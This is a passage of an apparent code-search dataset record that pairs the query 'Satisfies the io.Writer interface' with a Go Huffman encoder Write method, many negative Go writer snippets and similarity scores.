4) point stripOffset to 8\n\t// 5) write 4 bytes of 0 to indicate last ifd\n\t// 6) write header at offset 0 with ifdOffset from saved after image data\n\n\t// 1)\n\tif _, err := w.Seek(8, 0); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, byteOrder, data); err != nil {\n\t\treturn err\n\t}\n\tafterData, _ := w.Seek(0, io.SeekCurrent)\n\t// seek to next work boundry\n\tafterData = afterData/8*8 + 8\n\tw.Seek(afterData, 0)\n\n\t// 2)\n\tif err := binary.Write(w, byteOrder, uint16(11)); err != nil {\n\t\treturn err\n\t}\n\t// 3-4)\n\t// ImageWidth\n\tif err := binary.Write(w, byteOrder, newDir32(256, width)); err != nil {\n\t\treturn err\n\t}\n\t// ImageLength\n\tif err := binary.Write(w, byteOrder, newDir32(257, length)); err != nil {\n\t\treturn err\n\t}\n\t// BitsPerSample\n\tif err := binary.Write(w, byteOrder, newDir16(258, 16)); err != nil {\n\t\treturn err\n\t}\n\t// Compression\n\tif err := binary.Write(w, byteOrder, newDir16(259, 1)); err != nil {\n\t\treturn err\n\t}\n\t// PhotometricInterpretation\n\tif err := binary.Write(w, byteOrder, newDir16(262, 1)); err != nil {\n\t\treturn err\n\t}\n\t// StripOffsets\n\tif err := binary.Write(w, byteOrder, newDir32(273, 8)); err != nil {\n\t\treturn err\n\t}\n\t// RowsPerStrip\n\tif err := binary.Write(w, byteOrder, newDir32(278, length)); err != nil {\n\t\treturn err\n\t}\n\t// StripByteCounts\n\tif err := binary.Write(w, byteOrder, newDir32(279, width*length)); err != nil {\n\t\treturn err\n\t}\n\t// XResolution\n\tif err := binary.Write(w, byteOrder, newDir32(282, 0)); err != nil {\n\t\treturn err\n\t}\n\t// YResolution\n\tif err := binary.Write(w, byteOrder, newDir32(283, 0)); err != nil {\n\t\treturn err\n\t}\n\t// ResolutionUnit\n\tif err := binary.Write(w, byteOrder, newDir16(296, 0)); err != nil {\n\t\treturn err\n\t}\n\n\t// 5)\n\tif err := binary.Write(w, byteOrder, []byte{0, 0, 0, 0}); err != nil {\n\t\treturn err\n\t}\n\n\t// 6)\n\tvar bo uint16 = 0X4949 // default to little endian\n\tif byteOrder == binary.BigEndian {\n\t\tbo = 0X4D4D // big endian code\n\t}\n\t// create header\n\th := header{bo, 42, uint32(afterData)}\n\tif _, err := w.Seek(0, 0); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, byteOrder, h); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (v *V1Encoder) WriteTo(w io.Writer) (int64, error) {\n\tvar totalN int64\n\n\t// Indicate that the data is compressed by writing max uint64 value first.\n\tif err := binary.Write(w, binary.LittleEndian, uint64(math.MaxUint64)); err != nil {\n\t\treturn 0, fmt.Errorf(\"failed to write max uint64: %w\", err)\n\t}\n\ttotalN += 8 // 8 bytes for uint64\n\n\t// Get compressed copy of data.\n\tcdata, err := v.compressedData()\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"failed to get compressed data: %w\", err)\n\t}\n\n\t// Write size of compressed data.\n\tif err := binary.Write(w, binary.LittleEndian, uint64(len(cdata))); err != nil {\n\t\treturn 0, fmt.Errorf(\"failed to write compressed data size: %w\", err)\n\t}\n\ttotalN += 8 // 8 bytes for uint64\n\n\tif len(cdata) != 0 {\n\t\t// Write compressed data.\n\t\tn, err := w.Write(cdata)\n\t\tif err != nil {\n\t\t\treturn 0, fmt.Errorf(\"failed to write compressed data: %w\", err)\n\t\t}\n\t\ttotalN += int64(n)\n\t}\n\n\treturn totalN, nil\n}", "func (master *MasterIndex) Write() error {\n\tf, err := os.OpenFile(master.Filename, os.O_RDWR|os.O_CREATE, 0600)\n\tif err != nil {\n\t\treturn err\n\t}\n\tenc := gob.NewEncoder(f)\n\terr = enc.Encode(master)\n\tf.Close()\n\treturn err\n}", "func (w gzipResponseWriter) Write(b []byte) (int, error) {\n\tif \"\" == w.Header().Get(\"Content-Type\") {\n\t\t// If no content type, apply sniffing algorithm to un-gzipped body.\n\t\tw.Header().Set(\"Content-Type\", http.DetectContentType(b))\n\t}\n\n\treturn w.Writer.Write(b)\n}" ]
[ "0.6329973", "0.6045846", "0.6032457", "0.5782994", "0.55037165", "0.5465604", "0.5369017", "0.53598994", "0.5286722", "0.527717", "0.52457976", "0.5237702", "0.5197437", "0.5150963", "0.51408374", "0.51348996", "0.5115096", "0.50463367", "0.50451905", "0.5043282", "0.5008207", "0.5002463", "0.4975134", "0.49370924", "0.49333715", "0.49316925", "0.4931021", "0.49301383", "0.49016675", "0.48690423", "0.48618463", "0.48486713", "0.48477286", "0.48316142", "0.48192853", "0.47659796", "0.47546688", "0.47348398", "0.47078162", "0.47034794", "0.4676104", "0.4675022", "0.46744698", "0.46696874", "0.46661788", "0.46562254", "0.46383363", "0.4633749", "0.46312127", "0.46096525", "0.45936912", "0.45741358", "0.45720482", "0.45471123", "0.45422587", "0.45419875", "0.4518709", "0.45159248", "0.45097712", "0.44991428", "0.4498761", "0.4484733", "0.4483578", "0.44768065", "0.44696185", "0.44683", "0.4442034", "0.4441183", "0.44383448", "0.4435809", "0.44260523", "0.4425193", "0.44035688", "0.4402914", "0.43898845", "0.43820813", "0.4378935", "0.43776333", "0.4370159", "0.43612507", "0.43522674", "0.43482435", "0.43473956", "0.43331948", "0.43283144", "0.4323096", "0.43158123", "0.43153757", "0.43075705", "0.43041945", "0.4302629", "0.42953023", "0.42929506", "0.4286216", "0.42859125", "0.42833358", "0.42826688", "0.4280407", "0.42735288", "0.42730364" ]
0.6471056
0
Satisfies the io.Writer interface
func (enc *HuffmanEncoder) Write(p []byte) (n int, err error) { for _, v := range p { code, ok := enc.dict[v] if !ok { panic(errors.New("non-existant uncompressed code " + string(v))) } err = enc.bw.WriteBits(code.hcode, code.nbits) if err != nil { return 0, err } } return len(p), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (w *Writer) Close() error {}", "func (w *Writer) Write(wr io.Writer, data interface{}) (err error) {\n\tw.w = wr\n\t_, err = w.encode(data)\n\n\treturn\n}", "func (w *writerWrapper) Write(buf []byte) (int, error) {\n\tif !w.wroteHeader {\n\t\tw.WriteHeader(http.StatusOK)\n\t}\n\tn, err := w.ResponseWriter.Write(buf)\n\tw.bytes += n\n\treturn n, err\n}", "func (fw *flushWriter) Write(p []byte) (n int, err error) {\n\tn, err = fw.writer.Write(p)\n\tif fw.flusher != nil {\n\t\tfw.flusher.Flush()\n\t}\n\treturn\n}", "func (w *Writer) Write(buf []byte) {\n\tif w.err != nil {\n\t\treturn\n\t}\n\n\t_, w.err = w.w.Write(buf)\n}", "func (m *MyWriter) Write([]byte) error {\n\treturn nil\n}", "func (w *WrappedWriter) Write(data []byte) error {\n\tif len(data) == 0 {\n\t\treturn nil\n\t}\n\n\t_, err := w.bw.Write(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tn := len(data)\n\t// Increment file position pointer\n\tw.n += int64(n)\n\n\treturn nil\n}", "func (r *Response) Write(w io.Writer) error", "func (fw *flushWriter) Write(p []byte) (n int, err error) {\n\tn, err = fw.w.Write(p)\n\tif fw.f != nil {\n\t\tfw.f.Flush()\n\t}\n\treturn\n}", "func SetWriter(w IWriter) {\n Std.mu.Lock()\n defer Std.mu.Unlock()\n Std.out = w\n}", "func (w *ResponseWriterTee) Write(b []byte) (int, error) {\n\tw.Buffer.Write(b)\n\treturn w.w.Write(b)\n}", "func (b *Writer) Write(buf []byte) (n int, err error)", "func (mw *MultiWriter) Write(buf []byte) (int, error) {\n\tif err := mw.init(); err != nil {\n\t\treturn -1, err\n\t}\n\n\tmw.Lock()\n\tdefer mw.Unlock()\n\n\tvar (\n\t\terr error\n\t\tbufLen = len(buf)\n\t)\n\n\tfor _, out := range mw.outputs {\n\t\t// TODO: Evict Writer upon error\n\t\tn, e1 := out.Write(buf)\n\t\tif n != bufLen {\n\t\t\terr = io.ErrShortWrite\n\t\t}\n\t\tif e1 != nil {\n\t\t\terr = e1\n\t\t}\n\n\t}\n\treturn len(buf), err\n}", "func (w ErrorWriter) Write(p []byte) (n int, err error) {\n\tif w.err != nil {\n\t\treturn 0, w.err\n\t}\n\n\tif n, err = w.writer.Write(p); err != nil {\n\t\tw.err = err\n\t}\n\treturn\n}", "func (w *CapturingPassThroughWriter) Write(d []byte) (int, error) {\n\tw.buf.Write(d)\n\treturn w.w.Write(d)\n}", "func (o *output) Write(buf []byte) (int, error) {\n\to.mutex.Lock()\n\n\t// Using defer here to prevent holding lock if underlying io.Writer\n\t// panics.\n\tdefer o.mutex.Unlock()\n\n\treturn o.w.Write(buf)\n}", "func (WriterWrapper) SetOut(filename string) {}", "func (writer *testWriter) Write(b []byte) (int, error) {\n\tfmt.Print(\"[OUT] > \")\n\treturn os.Stdout.Write(b)\n}", "func (t *Turbine) Writer() *Writer { return t.w }", "func (w FileWriter) Write(tableName string, content string) error {\n\tfileName := path.Join(w.path, tableName+FileWriterExtension)\n\n\tdecorated, err := w.decorate(content)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn os.WriteFile(fileName, []byte(decorated), 0666)\n}", "func FuncInterfaceCompatible2(_ io.Writer) {}", "func (b *BufferWriter) Write(buf []byte) (int, error) {\n\treturn b.W.Write(buf)\n}", "func (w WriteAdapter) Write(data []byte) (int, error) {\n\treturn w.Writer.Write(data)\n}", "func (x *Index) Write(w io.Writer) error", "func (w *logResponseWritter) Write(data []byte) (int, error) {\n\n\twritten, err := w.ResponseWriter.Write(data)\n\tw.size += written\n\n\treturn written, err\n}", "func (w *responseWriter) Write(data []byte) (int, error) {\n\tif w.status == 0 {\n\t\tw.status = http.StatusOK\n\t}\n\tsize, err := w.rw.Write(data)\n\tw.size += size\n\treturn size, err\n}", "func (l *metricWriter) Write(buf []byte) (int, error) {\n\treturn l.w.Write(buf)\n}", "func (r tokenResponseWriter) Write(b []byte) (int, error) {\n\treturn r.w.Write(b) // pass it to the original ResponseWriter\n}", "func (b *Writer) Flush() (err error)", "func WriterFlush(w *zip.Writer,) error", "func (w *Writer) End()", "func (p *ProxyWriter) Write(buf []byte) (int, error) {\n\treturn p.W.Write(buf)\n}", "func (w *responseWriter) Write(data []byte) (int, error) {\n\tn, err := w.ResponseWriter.Write(data)\n\tif w.resp.StatusCode == 0 {\n\t\tw.resp.StatusCode = http.StatusOK\n\t}\n\treturn n, err\n}", "func (w *Writer) Write(line []string) error {\n\terr := w.w.Write(line)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tw.w.Flush()\n\treturn nil\n}", "func (z *zstdWriter) Write(p []byte) (n int, err error) {\n\treturn z.w.Write(p)\n}", "func (x *Index) Write(w io.Writer) error {}", "func (gzipRespWtr gzipResponseWriter) Write(data []byte) (int, error) {\n\treturn gzipRespWtr.Writer.Write(data)\n}", "func (b *basicWriter) Write(buf []byte) (int, error) {\n\tb.maybeWriteHeader()\n\tb.bytes += uint64(len(buf))\n\treturn b.ResponseWriter.Write(buf)\n}", "func (w *responseWriter) Write(p []byte) (int, error) {\n\tw.started = true\n\treturn w.writer.Write(p)\n}", "func (w *responseWriter) Write(p []byte) (int, error) {\n\tw.started = true\n\treturn w.writer.Write(p)\n}", "func (w *LoggingResponseWriter) Write(b []byte) (int, error) {\n\treturn w.writer.Write(b)\n}", "func (base *Base) Writer(ctx context.Context, path string, append bool) (storagedriver.FileWriter, error) {\n\tctx, done := dcontext.WithTrace(ctx)\n\tdefer done(\"%s.Writer(%q, %v)\", base.Name(), path, append)\n\n\tif !storagedriver.PathRegexp.MatchString(path) {\n\t\treturn nil, storagedriver.InvalidPathError{Path: path, DriverName: base.StorageDriver.Name()}\n\t}\n\n\twriter, e := base.StorageDriver.Writer(ctx, path, append)\n\treturn writer, base.setDriverName(e)\n}", "func (w *writer) Write(b []byte) (int, error) {\n\tswitch w.pri {\n\tcase sInfo:\n\t\treturn len(b), w.el.Info(1, string(b))\n\tcase sWarning:\n\t\treturn len(b), w.el.Warning(3, string(b))\n\tcase sError:\n\t\treturn len(b), w.el.Error(2, string(b))\n\t}\n\treturn 0, fmt.Errorf(\"unrecognized severity: %v\", w.pri)\n}", "func (w *Writer) Write(b []byte) (n int, e error) {\n\treturn w.cw.Write(b)\n}", "func (z *zstdCompressor) Writer(dst io.WriteCloser) (io.WriteCloser, error) {\n\tw, err := z.zstd.NewWriter(dst, z.eoptions...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &zstdWriter{\n\t\tdst: dst,\n\t\tw: w,\n\t}, nil\n}", "func (ser *Series) Write(w io.Writer) {\n\tser.WriteRange(w, 0, ser.length)\n}", "func (w *writable) Write(p []byte) error {\n\tw.g.add(context.Background(), Event{\n\t\tOp: WriteOp,\n\t\tFileNum: w.fileNum,\n\t\tOffset: w.curOffset,\n\t\tSize: int64(len(p)),\n\t})\n\t// If w.w.Write(p) returns an error, a new writable\n\t// will be used, so even tho all of p may not have\n\t// been written to the underlying \"file\", it is okay\n\t// to add len(p) to curOffset.\n\tw.curOffset += int64(len(p))\n\treturn w.w.Write(p)\n}", "func (w *WriterInterceptor) Write(b []byte) (int, error) {\n\tlength := w.response.Header.Get(\"Content-Length\")\n\tif length == \"\" || length == \"0\" {\n\t\tw.buf = b\n\t\treturn w.DoWrite()\n\t}\n\n\tw.response.ContentLength += int64(len(b))\n\tw.buf = append(w.buf, b...)\n\n\t// If not EOF\n\tif cl, _ := strconv.Atoi(length); w.response.ContentLength != int64(cl) {\n\t\treturn len(b), nil\n\t}\n\n\tw.response.Body = ioutil.NopCloser(bytes.NewReader(w.buf))\n\tresm := NewResponseModifier(w.response.Request, w.response)\n\tw.modifier(resm)\n\treturn w.DoWrite()\n}", "func (this *File) Writer(fh io.Writer) error {\n\tenc := json.NewEncoder(fh)\n\tif this.indent {\n\t\tenc.SetIndent(\"\", \" \")\n\t}\n\tif err := enc.Encode(this.data); err != nil {\n\t\treturn err\n\t}\n\t// Success\n\treturn nil\n}", "func (l *Writer) Write(p []byte) (int, error) {\n\tif len(p) == 0 {\n\t\treturn 0, nil\n\t}\n\tl.wTex.Lock()\n\tdefer l.wTex.Unlock()\n\n\tw, err := l.getWriter()\n\tif err != nil {\n\t\tconfig.Log.Debug(\"Failed to get writer - %s\", err.Error())\n\t\treturn 0, err\n\t}\n\n\t_, err = fmt.Fprintf(w, \"<11>%s %s %s: %s\", time.Now().Format(\"Jan 02 15:04:05\"), l.Host, l.Tag, p)\n\tif err != nil {\n\t\tconfig.Log.Debug(\"Failed to write - %s\", err.Error())\n\t\treturn 0, err\n\t}\n\n\treturn len(p), nil\n}", "func (f *BufioWriter) Write(b []byte) (int, error) {\n\tf.Lock()\n\tdefer f.Unlock()\n\treturn f.buf.Write(b)\n}", "func (w *BodylessResponseWriter) Write(b []byte) (int, error) {\n\treturn 0, nil\n}", "func (w *Writer) Write(p []byte) (int, error) {\n\treturn w.write(p, false)\n}", "func (t *nonStopWriter) Write(p []byte) (int, error) {\n\tfor _, w := range t.writers {\n\t\tw.Write(p)\n\t}\n\treturn len(p), nil\n}", "func (w writer) Write(p []byte) (n int, err error) {\n\tw.logFunc(string(p))\n\treturn len(p), nil\n}", "func (w writer) Write(p []byte) (n int, err error) {\n\tw.logFunc(string(p))\n\treturn len(p), nil\n}", "func (w *customResponseWriter) Write(b []byte) (int, error) {\n\tif w.status == 0 {\n\t\tw.status = http.StatusOK\n\t}\n\tn, err := w.ResponseWriter.Write(b)\n\tw.length += n\n\treturn n, err\n}", "func (r *loggingWriter) Write(p []byte) (int, error) {\n\tif r.accessStats.status == 0 {\n\t\t// The status will be StatusOK if WriteHeader has not been called yet\n\t\tr.accessStats.status = http.StatusOK\n\t}\n\twritten, err := r.ResponseWriter.Write(p)\n\tr.accessStats.size += written\n\treturn written, err\n}", "func NewWriter() Writer {\n\treturn writer{}\n}", "func (rw *responseWriter) Write(b []byte) (int, error) {\n\tn, err := rw.ResponseWriter.Write(b)\n\trw.written += n\n\n\treturn n, err\n}", "func (lw *LoggerWriter) Write(content []byte) (int, error) {\n\treturn lw.Writer.Write(content)\n}", "func (r *regulator) Writer(ctx context.Context, path string, append bool) (storagedriver.FileWriter, error) {\n\tr.enter()\n\tdefer r.exit()\n\n\treturn r.StorageDriver.Writer(ctx, path, append)\n}", "func (b *Buffer) Write() error {\n\tvar err error\n\n\t// Check if there were errors:\n\terrors := b.reporter.Errors()\n\tif errors > 0 {\n\t\tif errors > 1 {\n\t\t\terr = fmt.Errorf(\"there were %d errors\", errors)\n\t\t} else {\n\t\t\terr = fmt.Errorf(\"there was 1 error\")\n\t\t}\n\t\treturn err\n\t}\n\n\t// Make sure that the output directory exists:\n\tdir := filepath.Dir(b.output)\n\terr = os.MkdirAll(dir, 0777)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write the file:\n\tb.reporter.Infof(\"Writing file '%s'\", b.output)\n\tjsonData := b.stream.Buffer()\n\terr = ioutil.WriteFile(b.output, jsonData, 0666)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (j *JSendWriterBuffer) Write(b []byte) (int, error) {\n\treturn j.responseWriter.Write(b)\n}", "func newWriter(config *config.Stream, fs afs.Service, rotationURL string, index int, created time.Time, emitter *emitter.Service) (*writer, error) {\n\twriterCloser, err := fs.NewWriter(context.Background(), config.URL, file.DefaultFileOsMode)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &writer{\n\t\tfs: fs,\n\t\tindex: index,\n\t\tdestURL: config.URL,\n\t\trotationURL: rotationURL,\n\t\tcloser: writerCloser,\n\t\tcreated: created,\n\t}\n\tresult.config = config\n\n\tif rotation := config.Rotation; rotation != nil {\n\t\tinitRotation(result, rotation, created, emitter)\n\t}\n\tif config.IsGzip() {\n\t\tgzWriter := gzip.NewWriter(writerCloser)\n\t\tresult.writer = gzWriter\n\t\tresult.flusher = gzWriter\n\n\t} else {\n\t\twriter := bufio.NewWriter(writerCloser)\n\t\tresult.writer = writer\n\t\tresult.flusher = writer\n\t}\n\treturn result, nil\n}", "func NewWriter(w io.Writer) io.WriteCloser {\n\treturn NewWriterSizeLevel(w, -1, DefaultCompression)\n}", "func (s *Status) Write(w http.ResponseWriter) error {\n\tw.WriteHeader(s.Code)\n\tswitch ct := w.Header().Get(\"Content-Type\"); ct {\n\tcase \"application/json\":\n\t\t_, err := fmt.Fprintf(w, `{\"error\":%q}`, s.String())\n\t\treturn err\n\tdefault:\n\t\t_, err := io.WriteString(w, s.String())\n\t\treturn err\n\t}\n}", "func (w *responseWriter) Write(b []byte) (int, error) {\n\tif w.Status == 0 {\n\t\tw.Status = 200\n\t}\n\tn, err := w.ResponseWriter.Write(b)\n\tw.Length += n\n\treturn n, err\n}", "func (ca *Appender) Writer() io.Writer {\n\tca.mu.Lock()\n\tdefer ca.mu.Unlock()\n\treturn ca.out\n}", "func (l *Logger) Writer() io.Writer {\n\tl.mu.Lock()\n\tdefer l.mu.Unlock()\n\treturn l.out\n}", "func (rwp *ResponseWriterProxy) Write(bs []byte) (int, error) {\n\trwp.buffer.Write(bs)\n\treturn rwp.under.Write(bs)\n}", "func (w *Writer) Write(b []byte) int {\n\tif w.err != nil {\n\t\treturn 0\n\t}\n\tn, err := w.W.Write(b)\n\tw.check(n, err)\n\treturn n\n}", "func (rw *responseWriter) Write(b []byte) (int, error) {\n\tsize, err := rw.ResponseWriter.Write(b)\n\trw.size += size\n\treturn size, err\n}", "func (std *ReaderService) Write(in <-chan []byte) error {\n\treturn ErrNotSupported\n}", "func (r *renderer) write(s string, unescaped bool) {\n\tif r.indentNext {\n\t\tr.indentNext = false\n\t\tr.w.WriteString(r.indent)\n\t}\n\tif !unescaped {\n\t\ts = html.EscapeString(s)\n\t}\n\tr.w.WriteString(s)\n}", "func Write(w io.WriterTo, path string) error {\n\tstart := time.Now()\n\tf, err := os.Create(path)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating output file: %v\", err)\n\t}\n\tif _, err := w.WriteTo(f); err != nil {\n\t\treturn fmt.Errorf(\"writing output file: %v\", err)\n\t} else if err := f.Close(); err != nil {\n\t\treturn fmt.Errorf(\"closing output file: %v\", err)\n\t}\n\tlog.Infof(\"Finished writing output [%v elapsed]\", time.Since(start))\n\treturn nil\n}", "func (e *Encoder) write(p []byte) error {\n\tn, err := e.w.Write(p)\n\tif n != len(p) && err == nil {\n\t\treturn io.ErrShortWrite\n\t}\n\treturn err\n}", "func (w *Writer) Info(m string) error {}", "func (w *Writer) Write(p []byte) (n int, err error) {\n\treturn w.writer.Write(p)\n}", "func (w *RotateWriter) Write(out []byte) (int, error) {\n\tw.mu.Lock()\n\tdefer w.mu.Unlock()\n\n\t// Open if closed.\n\tif w.fp == nil {\n\t\tw.open()\n\t}\n\n\t// Rotate if write exceeds threshold.\n\tif w.fsize+int64(len(out)) > int64(w.MaxSize) {\n\t\tw.rotate()\n\t}\n\n\treturn w.write(out)\n}", "func (rw *ResponseWriter) Write(bytes []byte) (int, error) {\n\tbytesOut, err := rw.ResponseWriter.Write(bytes)\n\trw.BytesOut += bytesOut\n\treturn bytesOut, err\n}", "func (l *Log) writer() {\n\t// Open as O_RDWR (which should get lock) and O_DIRECT.\n\tf, err := os.OpenFile(l.filename, os.O_WRONLY|os.O_APPEND, 0660)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer f.Close()\n\tenc := json.NewEncoder(f)\n\tfor {\n\t\tr, ok := <-l.in\n\t\tif !ok {\n\t\t\treturn\n\t\t}\n\t\tif r.m == nil {\n\t\t\tr.err <- fmt.Errorf(\"cannot write nil to wal\")\n\t\t\treturn\n\t\t}\n\t\t// serialize mutation and write to disk\n\t\tif err := enc.Encode(r.m); err != nil {\n\t\t\tr.err <- fmt.Errorf(\"wal encoding: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t\t// sync\n\t\tif err := f.Sync(); err != nil {\n\t\t\tr.err <- fmt.Errorf(\"wal sync: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t\tr.err <- nil\n\t\t// send to reader\n\t\tif l.closed {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (c *CompressingResponseWriter) Write(bytes []byte) (int, error) {\n\tif c.isCompressorClosed() {\n\t\treturn -1, errors.New(\"Compressing error: tried to write data using closed compressor\")\n\t}\n\treturn c.compressor.Write(bytes)\n}", "func (o *output) SetWriter(w io.Writer) {\n\to.mutex.Lock()\n\to.w = w\n\to.mutex.Unlock()\n}", "func Write(w io.Writer, v interface{}) (int, error) {\n\treturn DefaultPrinter.Write(w, v)\n}", "func (l *SyncLog) Writer() io.Writer {\n\tl.mu.Lock()\n\tdefer l.mu.Unlock()\n\treturn l.out\n}", "func (h *HttpReadWriter) Write(r io.Writer) (readLen int, err error) {\n\treturn r.Write(h.writeBytes)\n}", "func ToWriter(writer io.Writer) Dest {\n\treturn ToWriteCloser(NopWriteCloser(writer))\n}", "func WriterWrite(w *csv.Writer, record []string) error", "func (w responseWriter) Write(b []byte) (int, error) {\n\t// 向一个bytes.buffer中写一份数据来为获取body使用\n\tw.b.Write(b)\n\t// 完成http.ResponseWriter.Write()原有功能\n\treturn w.ResponseWriter.Write(b)\n}", "func (rw *ReadWriter) Write(buffer []byte) (int, error) {\n\tn, err := rw.reader.Flush()\n\tif err != nil {\n\t\treturn n, err\n\t}\n\n\treturn rw.writer.Write(buffer)\n}", "func (c *Call) Write(code int, r io.Reader) error {\n\tc.code = code\n\tc.writer.WriteHeader(c.code)\n\t_, err := io.Copy(c.writer, r)\n\tc.done = true\n\treturn err\n}", "func (w *FlushingWriter) Write(data []byte) (written int, err error) {\n\tw.writeMutex.Lock()\n\tdefer w.writeMutex.Unlock()\n\tif w.closed {\n\t\treturn 0, io.EOF\n\t}\n\tw.wrote = true\n\twritten, err = w.WriterFlusher.Write(data)\n\tif err != nil {\n\t\treturn\n\t}\n\tif w.MaxLatency == 0 {\n\t\tw.WriterFlusher.Flush()\n\t\treturn\n\t}\n\tif w.flushPending {\n\t\treturn\n\t}\n\tw.flushPending = true\n\tif w.timer == nil {\n\t\tw.timer = time.AfterFunc(w.MaxLatency, w.delayedFlush)\n\t} else {\n\t\tw.timer.Reset(w.MaxLatency)\n\t}\n\treturn\n}", "func (d *Device) Writer() io.Writer {\n\treturn d.writer\n}", "func (f *File) Writer(done chan struct{}, wg *sync.WaitGroup) (client.Writer, error) {\n\treturn newWriter(), nil\n}", "func write(w http.ResponseWriter, header int, body []byte, l *zap.Logger) {\n\tw.WriteHeader(header)\n\tif _, err := w.Write(body); err != nil {\n\t\tl.Error(err.Error())\n\t}\n}", "func Writer(w io.Writer) pod.Writer {\n\treturn &writer{writer: w}\n}", "func (s *Streamer) Write(data []byte) (int, error) {\n\t// TODO: find out why if we don't encode this\n\t// the xterm will show duplciated text\n\t// Clue: marshal ensure data is encoded in UTF-8\n\tdataByte, _ := json.Marshal(message.TermWrite{Data: data})\n\tpayload := &message.Wrapper{\n\t\tType: message.TWrite,\n\t\tData: dataByte,\n\t}\n\n\ts.Out <- payload\n\treturn len(data), nil\n}", "func (s *Chan) writeToWriter(w io.Writer) {\n\t// new buffer per message\n\t// if bottleneck, cycle around a set of buffers\n\tmw := NewWriter(w)\n\n\t// single writer, no need for Mutex\nLoop:\n\tfor {\n\t\ts.cmtx.RLock()\n\t\tcl := s.closed\n\t\ts.cmtx.RUnlock()\n\t\tif cl {\n\t\t\tbreak Loop\n\t\t}\n\t\tmsg := <-s.outMsgChan\n\t\tif _, err := mw.WriteRecord(msg.Message()); err != nil {\n\t\t\t// unexpected error. tell the client.\n\t\t\tmsg.Result() <- err\n\t\t\tbreak Loop\n\t\t} else {\n\t\t\t// Report msg was sent\n\t\t\tmsg.Result() <- nil\n\t\t}\n\n\t}\n\n\tcou := len(s.outMsgChan)\n\tfor i := 0; i < cou; i++ {\n\t\tmsg := <-s.outMsgChan\n\t\tmsg.Result() <- errors.New(\"formatter is closed\")\n\t}\n}", "func Write(w http.ResponseWriter, status int, text string) {\n\tWriteBytes(w, status, []byte(text))\n}", "func (w *writer) Write(p []byte) (int, error) {\n\t// Avoid opening the pipe for a zero-length write;\n\t// the concrete can do these for empty blobs.\n\tif len(p) == 0 {\n\t\treturn 0, nil\n\t}\n\tif w.pw == nil {\n\t\t// We'll write into pw and use pr as an io.Reader for the\n\t\t// Upload call to S3.\n\t\tw.pr, w.pw = io.Pipe()\n\t\tw.open(w.pr, true)\n\t}\n\treturn w.pw.Write(p)\n}" ]
[ "0.69155353", "0.6802392", "0.6716041", "0.6650596", "0.65909255", "0.65705055", "0.6569131", "0.6567318", "0.6500117", "0.64540964", "0.64366436", "0.6431016", "0.64201397", "0.6398738", "0.6394778", "0.6392109", "0.6363929", "0.6343151", "0.6339702", "0.6329556", "0.63144785", "0.6312864", "0.6304542", "0.6298428", "0.6282489", "0.62781954", "0.6275455", "0.6272119", "0.626995", "0.62558943", "0.62481135", "0.6241329", "0.6236461", "0.62146056", "0.6202021", "0.6193556", "0.6193235", "0.6188482", "0.6175821", "0.6175821", "0.61649597", "0.6164477", "0.61628556", "0.6161013", "0.6160643", "0.6153352", "0.6131138", "0.61272514", "0.61248827", "0.6124205", "0.61179453", "0.6112508", "0.61118174", "0.6108722", "0.6104673", "0.6104673", "0.6101571", "0.610032", "0.6095291", "0.6093677", "0.6087488", "0.60849416", "0.6061141", "0.6049553", "0.6047789", "0.6046693", "0.6044918", "0.6043081", "0.60376334", "0.60359335", "0.60319906", "0.603175", "0.6028189", "0.60272634", "0.60242933", "0.60241824", "0.6021747", "0.60216236", "0.60192084", "0.6017469", "0.60139424", "0.60025924", "0.5992361", "0.59921783", "0.5989277", "0.5989253", "0.59874785", "0.59801346", "0.59788126", "0.59760916", "0.59739554", "0.5972639", "0.59703875", "0.5970384", "0.5970012", "0.59615713", "0.5958066", "0.595524", "0.59550714", "0.5952958", "0.59472376" ]
0.0
-1
Flushes incomplete bytes to output
func (enc *HuffmanEncoder) Flush() error { return enc.bw.Flush(bs.Zero) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (w *Writer) Flush() error {\n\tif w.count != 8 {\n\t\t_, err := w.w.Write(w.b[:])\n\t\treturn err\n\t}\n\treturn nil\n}", "func (z *bufioEncWriter) flushErr() (err error) {\n\tn, err := z.w.Write(z.buf[:z.n])\n\tz.n -= n\n\tif z.n > 0 && err == nil {\n\t\terr = io.ErrShortWrite\n\t}\n\tif n > 0 && z.n > 0 {\n\t\tcopy(z.buf, z.buf[n:z.n+n])\n\t}\n\treturn err\n}", "func (this *DefaultOutputBitStream) flush() error {\n\tif this.Closed() {\n\t\treturn errors.New(\"Stream closed\")\n\t}\n\n\tif this.position > 0 {\n\t\tif _, err := this.os.Write(this.buffer[0:this.position]); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tthis.written += (uint64(this.position) << 3)\n\t\tthis.position = 0\n\t}\n\n\treturn nil\n}", "func (e EncoderV2) flush() error {\n\tlength := e.buf.Len()\n\tif length > 0 {\n\t\tlog.TraceBytesFromBuf(e.buf)\n\n\t\tif err := binary.Write(e.w, binary.BigEndian, uint16(length)); err != nil {\n\t\t\treturn errors.Wrap(err, \"An error occured writing length bytes during flush\")\n\t\t}\n\n\t\tif _, err := e.buf.WriteTo(e.w); err != nil {\n\t\t\treturn errors.Wrap(err, \"An error occured writing message bytes during flush\")\n\t\t}\n\t}\n\n\t_, err := e.w.Write(encode_consts.EndMessage)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"An error occurred ending encoding message\")\n\t}\n\te.buf.Reset()\n\n\treturn nil\n}", "func (w *Writer) Flush() error {\n\tif w.nb > 0 {\n\t\tw.err = 